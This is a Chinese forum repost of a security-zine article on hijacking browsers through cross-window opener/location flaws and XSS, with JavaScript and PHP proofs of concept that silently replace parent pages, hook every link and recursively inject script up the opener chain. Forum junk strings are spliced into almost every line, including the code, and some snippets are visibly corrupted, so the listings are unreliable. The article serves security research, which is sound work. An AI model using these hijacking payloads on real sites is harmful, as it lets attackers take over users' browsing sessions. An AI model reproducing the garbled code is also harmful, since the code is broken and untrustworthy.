找回密码
 立即注册
查看: 2759|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
                           ==Ph4nt0m Security Team==
% [2 P4 w3 M" Y1 M; h* s $ o5 n; }/ y. [# s& q* H1 F
                       Issue 0x03, Phile #0x05 of 0x07% ^. R. H3 ]; f9 ?- ^2 }9 q3 {
8 H8 G! Z0 [4 n* c+ G' C

# e, S, N  {: r! y1 ]2 k/ o/ ]: V2 i|=---------------------------------------------------------------------------=|0 ]! ]( r, `3 r* I7 z" ]# j
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
  [, J5 d: }* \& N|=---------------------------------------------------------------------------=|
$ h. E& V' H/ C% Y/ M- }|=---------------------------------------------------------------------------=|
& ~& ~. c' S5 W; {|=------------------------=[      By rayh4c     ]=---------------------------=|9 ^7 f, D( F9 i) `
|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
1 M$ g3 T1 a$ G) z|=---------------------------------------------------------------------------=|
8 |! ~% l3 R" `# \8 B3 ?+ X5 v
; {6 E# m5 L4 B+ x0 A
& H9 Z, y: C# |8 a, K) C! `" F2 J" A[目录]1 W& m# @. e8 C* t! C

+ a" M" m! I) m. |: `/ q1. 前言+ d. o4 {+ w( C& w2 V3 N3 d: i
2. 同源策略简叙7 H8 s9 Y2 s( K" g) P: H
3. 理解window对象的同源策略# f5 _! q( K% x- }5 w, w
4. 窗口引用功能中的同源策略漏洞; |7 \0 g; x( f1 U  S
  4.1 父窗口引用子窗口的同源策略问题" J; @' s* {" }5 S
  4.2 子窗口引用父窗口的同源策略问题
  }, j# Z7 ], J) Q7 |3 N5. 利用窗口引用漏洞劫持浏览器+ n) _- W7 L" T( Z
6. 利用XSS漏洞劫持浏览器& e' {7 p4 T  ?  w/ `2 ^0 j4 l
  6.1 正向跨窗口劫持
/ v3 g% E! S/ y$ K& p* S) B3 ^% E  6.2 反向跨窗口劫持
6 [/ g( ^) v$ b# x  6.3 极度危险的跨框架窗口引用劫持: d2 w8 Y7 W# X6 X) p
  6.4 极度危险的正反向跨窗口递归劫持
! h5 _' q5 ]; T  A1 z  6.5 完全控制浏览器* i( V1 v2 o/ o8 n/ \* Y
7. 后记
9 x. `7 m2 |8 z8 n9 X7 y8. 参考" A) q  @8 b( d# b

! M( W4 l" e4 ]% i
. L3 _/ C; k9 O6 T+ x" F一、前言' y$ _: |/ S; n. F7 P

1 c; [, U/ c* T" t7 l+ V* W" ]6 u    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋, t! J+ F% C8 W  Y8 G
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
: l0 s7 q8 ~4 g. r4 L3 Y! \6 S8 i劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
. P* e1 O! w. k0 k8 x5 e条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。* c  P3 u6 m/ p2 }: |3 B  j( A! j% W
2 i5 h' X3 r. E2 T5 B
4 p1 r8 s# Q7 n( o% z
二、同源策略简叙
8 B; w5 }& K5 E: R7 m+ T, Y; D+ Z! T$ e( x1 Z, g
    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以( K0 u3 `+ u0 u( v
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
" _$ e& f7 S4 s& Z( v% \2 C( c曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
! L. o, s. g; a6 Q' }马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个- o+ x& M+ ?) i% q- y0 L
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
0 e. v+ B: z$ c, W7 P9 k. m* |; J0 ^# M/ ?3 E4 {' z2 i
  _2 `5 `) ~: t+ K) a' I" L
三、理解window对象的同源策略' l6 ^% ^! L( [  Y+ |6 V8 m! j* x, M
7 V2 G  s* A5 t, Y, E/ P0 c
    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
* i+ O) X; G9 G* h& o- R9 O象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:/ p, {% B' ?; @! t+ ?
% u/ f. [' {4 y  V- ^
--code-------------------------------------------------------------------------: Y  b$ x; i' @8 g  k2 I
<script language="javascript">/ }( W: j1 n% `: }, I
for(p in window) document.write(p+"<br>");
$ ?( X& y' c, k2 E  C! d</script>
/ T! M$ T; L( R-------------------------------------------------------------------------------
3 w0 J# S, r6 |( L4 t
! ?3 z, v' l$ x( D. L% l  }    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方9 l7 A/ Y0 A1 {3 l& i! N% T7 x7 L- Z
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
+ C! o( g1 H8 z) y这些属性和方法就必须遵循同源策略。
2 H3 s4 {7 Y8 j8 }/ @7 O
. `) {5 F0 f* R( j$ S    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那7 {) i% y! v9 k5 {. q4 H0 G
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须5 W) L* y$ x" s+ J: H- Q
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这% f; S/ x& L) y* y/ W' `& r
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
" m" U, a. w0 J, N) j" F值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
. L3 n! ~3 q+ d  A  C属性并没有被拒绝访问。  W* ^3 K  h5 O# a
2 X) w, j0 Q( K: o  [6 S
--demo.html--------------------------------------------------------------------6 N8 z# x9 V3 l9 a1 M5 N: F, m  X1 @
<script language="javascript">   . u0 H  N9 m% y& |
function allPrpos(obj) {      
" D. t  i+ X% g6 G9 C: V. u# g      var props = "<table><tr><td>名称</td><td>值</td>";           " E/ }5 ?8 M" b/ k6 C7 w
      for(var p in obj){         
: {% I1 Q$ \% V, L' `/ Q            if(typeof(obj[p])=="function"){   
, T3 F8 e& p( v                   obj[p]();     d2 p- M! J) I/ f: R# N& t
             }else{                     
3 p, a0 N5 M: X$ @, ?9 \0 f                  try   " h/ P4 L6 W7 p4 u* q
                   {   0 \4 z5 p; W4 |
                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
8 |& K5 L" [' m& A" k5 {                   }   
- A) s+ X+ \1 I4 g8 x                  catch (ex)   ; Q9 [% |0 _% f! T
                   {   
& o( b( g: I, [% `* s                   1 R8 X7 P. `2 ^) x4 j
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   4 k6 m5 J4 s/ l0 K1 J3 T
                   }   
) F- v- u+ v2 p: ?  K/ L: N8 q                       
* j$ R( o5 Y9 p1 S             }   ! C' J9 X$ F2 T8 h% F9 T
       }   ; ]6 @( m5 J8 o* h" ^
   8 D7 t# I' C0 E2 N& i7 S  f9 ?* K
       document.write(props+"</table>");   
+ J, Z6 ^1 E3 M}   
( j; v  K$ h# B9 Z     _7 V/ Q% q5 {& y5 U0 t; h0 I. N
function createWin() {4 ?/ Y- x/ L2 _
        newWin = window.open ("http://www.google.com");  
& b1 c% j+ X/ t        setTimeout(function(){allPrpos(newWin)},2000); : h; q) A2 d  ^3 F: W
}   U! w, j3 l9 Y& a

- B4 T  r; ?" e* @" I5 Y</script> * _- K0 f& O8 {' K& y, `; f$ b

$ {  s/ C$ \/ `- P( ~  F<button onclick='createWin()'>创建一个非同源子窗口测试</button>9 A) c/ k% f; S. G2 ~
-------------------------------------------------------------------------------
3 W% _) p1 `2 V. @: g
; ]- x' A5 i8 x2 a: @4 c  k
5 ]8 U  k. s3 d# U四、窗口引用功能中的同源策略漏洞
; D; i, X- I2 i1 s+ z0 X# h; K" t/ @, ?
# G9 P, O- _- q: x3 _' j4.1 父窗口引用子窗口的同源策略问题9 A4 i- O+ A. z% x" X

: K3 a9 r& Q8 h7 L6 A    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
4 M7 c1 x+ _: ^: ^$ S但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道# b( ]' {. ^. V, ]# L+ ~$ s! a
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进+ L, r! g! p( C: g4 k
行测试,会发现父窗口可以控制非同源子窗口location属性值。7 E  U( W( L: T* {3 b- L! l' r
5 a" q9 [; G( ~8 o1 |
--vul1.html--------------------------------------------------------------------
' N- K' M& {6 A2 P- E: A- t( r<script language="javascript">
; U) @, L, ^( n( _/ K$ p; Xfunction createWin() {  
; h* C" }2 n2 B, w2 b7 |        newWin = window.open ("http://www.google.com");  $ z" `8 H1 I% K$ G) f( p
        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);   m: W; ~. H  U$ b5 ~- N: W. h
} ' `( ]) G6 O8 w& T. z
</script>
1 r3 R2 o9 h. j8 U+ g/ G2 s0 o  U% l! k" a' l, |  u" h
<button onclick='createWin()'>创建一个非同源子窗口测试</button>4 S6 y% J6 I3 G* ^
-------------------------------------------------------------------------------
3 \2 F+ Q$ C% W. l0 h
6 h; ?* w3 o% z! a: s
. D& M' e9 S9 J' h4 n4.2 子窗口引用父窗口的同源策略问题
* y3 J$ t" D5 r# {. |7 x' F! e" b" H: ]! A2 [# D( M
    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
# j! S$ ^( y$ J+ T用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
6 x( E5 e5 T: X: i; k" }可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定3 k' Z. A+ v5 Z2 Q: y3 N
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。; y) R' t/ x* W8 M

8 ~: w: v0 Y% @8 k! V+ |" J--code-------------------------------------------------------------------------
) J+ Z( @6 X/ e( q. ?* m6 K, w
1 g, U3 I3 z0 x0 U9 A# ~javascript:window.opener.location = "http://www.80sec.com";void(0);
3 N: B' ?, R7 E4 z3 R' c
& h7 r+ ~. S# C' ?" i- _" x6 l( Q- {-------------------------------------------------------------------------------
. h3 i- C! K3 f" z* L2 ~
3 h  Z0 f+ E* h+ \7 I- b1 i/ \9 L8 ?7 m: b- y- k
五、利用窗口引用漏洞劫持浏览器
; N( |9 i7 a- s6 v' {4 U' x
( T9 [0 c4 {7 o4 O: i/ h    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子+ Q0 M  B) j7 C( [( r1 \6 b
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那$ C4 C3 g; G% S( Y& c& a  }
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。  J( H. P8 y0 T! p0 e9 J% w

& W; y) R& z$ g: C# h" R    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产% l9 i0 k* F$ u4 K6 O7 ^
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
, x  j9 {) M8 C& o1 M& D者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
& @; T% w* A' d) G后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
0 ?1 T% ~) v; I5 @$ c会产生什么可怕的后果。
) @! C  O* v) h; }% d7 q0 \, Y3 N0 ]6 h( x# L
    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
6 E0 P) O. o+ T. Z* k: x们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php2 {. X3 D, U% T/ f5 ]; Q
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
( |; P+ k) C; |/ K" L$ {候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
6 N; R0 t" }/ L( A% e以做更多的事情,所有的一切仅仅是因为点击了一个链接。
: F; H- R' b. `% x5 O6 T0 r* v- N
: R4 M3 Q6 _/ n  w  u--hjk_ref.php------------------------------------------------------------------8 L% m  p3 x" E/ [4 T+ p& Y9 {
<?php
8 a$ r; K7 P$ N( Pif (array_key_exists("HTTP_REFERER", $_SERVER)) {# R6 s6 x  _8 L+ U; k/ R. V
$Url_Mirror = $_SERVER["HTTP_REFERER"];5 V; X" z" Z$ }/ d9 [' U- N
} 6 K+ H% Z7 S/ @9 N
if(isset ($_GET['ref'])) {7 S1 L/ ]6 {* S% j) ]0 t8 [
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';7 i, |; r% D0 R* S: V
}1 _8 {: ^( n) h; x0 A  [  Z; j' I
?>
7 x4 [1 {; c1 z% e+ O" f! K; h1 V$ B% [5 e8 v
<script language="javascript">
1 o8 `% T3 K) l0 UsetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);        
* ?* s2 z+ [* K: {1 [8 U</script>
* [: O5 {1 h) u8 u-------------------------------------------------------------------------------' c. }' k, G7 E, X$ o0 R
9 j/ e. |" j$ I" o: U. |
    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。& `2 R9 ]0 t% P; k
: r( A2 w2 _' G! N1 r" W
+ R+ ^6 l- P) l
六、利用XSS漏洞劫持浏览器! g- O6 l' H- B( t+ g! M6 a

! ]% K9 M- I! y% ^. b- p1 y    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为  t5 X$ v) m1 X5 w: I( Q! n
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
% g; \; e, }- b, _6 gXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起- ?" \0 F% L( t6 h4 y' M/ K
讨论跨站师的终极技巧:
& }8 S) L9 l. `% m& K
' d% r- b! t( W
' G& a( L1 B2 F$ t( W, ~6.1 正向跨窗口劫持
' H4 B, u) v' M: L
' W% j7 [! L8 I3 b    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛  s$ Z* ?* O$ ?/ L8 E
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
5 i: F7 T& T: H& L接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话0 |% o9 o, z1 b2 H6 k
框脚本。   ~( X0 i$ |/ O0 O  w: k
" [; B/ j5 Z& ~7 e% h
--hijack_open.js---------------------------------------------------------------
# m3 r( O7 n2 O7 G! O) v7 Q: c( }' A& |8 w9 y, f* k+ ~
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
. z/ z: Y) i0 C! H# ~- p* T
, A, H( z- P: j" S" u3 C-------------------------------------------------------------------------------" }% K6 L; U- s* R
2 X. t0 @; A( h3 b2 g

, m  L! t7 y4 _  G6.2 反向跨窗口劫持
% r' `+ X) K1 |. R0 u# ?
. e5 v2 e9 U4 w4 v( A2 V    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
( n0 g* t( x. z码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
: A5 ?0 P6 [: i; H7 N. `+ x! U框脚本。
& m  m2 k+ g' ^% x! o& A8 i8 w
* X$ N7 ~  x$ k5 e0 b--hijack_opener.js-------------------------------------------------------------% H9 ?2 S, a+ c2 w

# m6 n# E6 x) J* @javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
( v" L1 z1 m* p
& }# O. @' ]) @* U. N( E-------------------------------------------------------------------------------
, S% X/ Q' S# }; l, w2 d$ }9 x( [
1 E* r6 W. q, @0 g8 C) `0 d3 ?4 u5 D& G: V& B3 A. X
6.3 极度危险的跨框架窗口引用劫持: ?, C5 ~9 d3 ^; z9 A

. E! K5 O  h" x8 w: x    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞1 U+ ?( n& P; V1 ?% ^' F
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
, W2 O# u( F5 Y/ q% P0 x$ |% U! I适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
: t+ ^1 J8 w  S5 q( d非持久型的XSS,如下:* b# n' H: {/ @( O

% O: Z" c6 `0 ^<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
' b! r, p  M$ \8 `4 B, |# `* H5 w- p2 _5 Q& T
    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口# X% u- }7 h  U2 N
注入脚本。
: {9 W/ |# H: ^
2 C$ c2 Y4 N% X: p9 j3 E/ t--hijack_frame_opener.js-------------------------------------------------------6 {$ f& I! R, p2 K
<script>
" q2 e# Y8 V, V+ ywindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
, R! w' N' a) K' t; Y* V& Q3 n& ~</script>+ Y: i" t" N& W" s! ^
-------------------------------------------------------------------------------, u5 z' K( a4 T! }2 K( l5 _' s- R
1 t- l3 m) I* O: Y
4 @) o( m% b! h1 E$ i
6.4 极度危险的正反向跨窗口递归劫持+ T- @+ ?% t# l9 f! ~" R" e

* @/ `* v; a  w" M5 D) b    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window$ n& M& x2 P  b2 l. z
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
3 h5 q0 A! A3 p! f1 E! x2 R异常处理规避之间跨域页面的访问异常,代码如下:
5 p) {+ t# n- h/ O$ l. k- S
4 Q  x; \0 Q, ~( \1 V( g- n1 X--code-------------------------------------------------------------------------- H4 @* [& g7 h/ n; L- [
9 c" B0 g4 ~' _/ v# G- p
javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
! m* K0 R: z9 x' W* D
( X* \! f( x# V8 W-------------------------------------------------------------------------------
9 _2 A4 W* x1 T  w" B* f  l$ I9 a' E
: S2 o  q1 n2 `    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
3 @) ^0 |! L# U' }1 ]以劫持B域之前的A域页面,从而实现“隔空打击”。
4 c8 M  H" g6 [4 W4 e( i# H+ ?4 P7 M: c1 |
    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面, q4 b) Z0 R. r" A
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
" v- c% i. |* k6 ?+ Z* |
3 X* N6 l3 c4 s7 h- d    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
% M: Q! ^, B* `; D; s& _1 t9 m8 H" z# ~3 T0 K+ t

% X8 Z& K3 Q2 G6.5 完全控制浏览器
4 C; t  O( Y, w& I4 H$ V2 }) o
% M5 k- J  I/ d% R    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则3 o- g4 c2 S/ ~$ [0 i: t
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
) i. A* H0 O* h% R漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失8 ~# L2 D. ~* t3 h' k
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再9 G4 @  k( Q8 b2 b8 X* Q
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站3 ]& ]  ?- [; k
师的终极目标 - 完全控制浏览器。; a# e( W& W9 j7 V

0 _$ m) N7 c5 A1 A/ N7 m( M& {+ E5 ]+ s" \+ z
七、后记
/ @* s2 N, M' V8 \7 D4 y  Y& y# L  w# W
    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
' M4 V, x3 J) _8 [与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予; N# p0 n8 O' _& _+ R7 v0 ^: i/ }
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
2 Q8 n& W# E  v! d, k, s2 x0 h- l
5 m7 k- b& {8 B" C  c7 V% z" K7 @1 d  ~4 r' }( ?% ]
八、参考, V( Y6 }6 @" Q0 F1 S

. J# Z( h# m9 e9 u1. http://en.wikipedia.org/wiki/Same_origin_policy
; v/ ^, s/ T8 H* ~2 Y2. http://code.google.com/p/browser ... licy_for_DOM_access
* q: P6 R( W/ L; H; ~3. http://www.w3.org/TR/Window/$ v5 g" `! [! Z. T' F! r
4. http://www.80sec.com/release/browser-hijacking.txt7 U$ V$ d1 g" U( n2 a' H
5. http://www.80sec.com/all-browser-security-alert.html/ D: o' O1 c% q- G9 Q5 V
6. http://www.80sec.com/ms08-058-attacks-google.html, [' r. m  p4 t: M$ w
* W" V9 e% i2 @0 v8 w9 K
-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表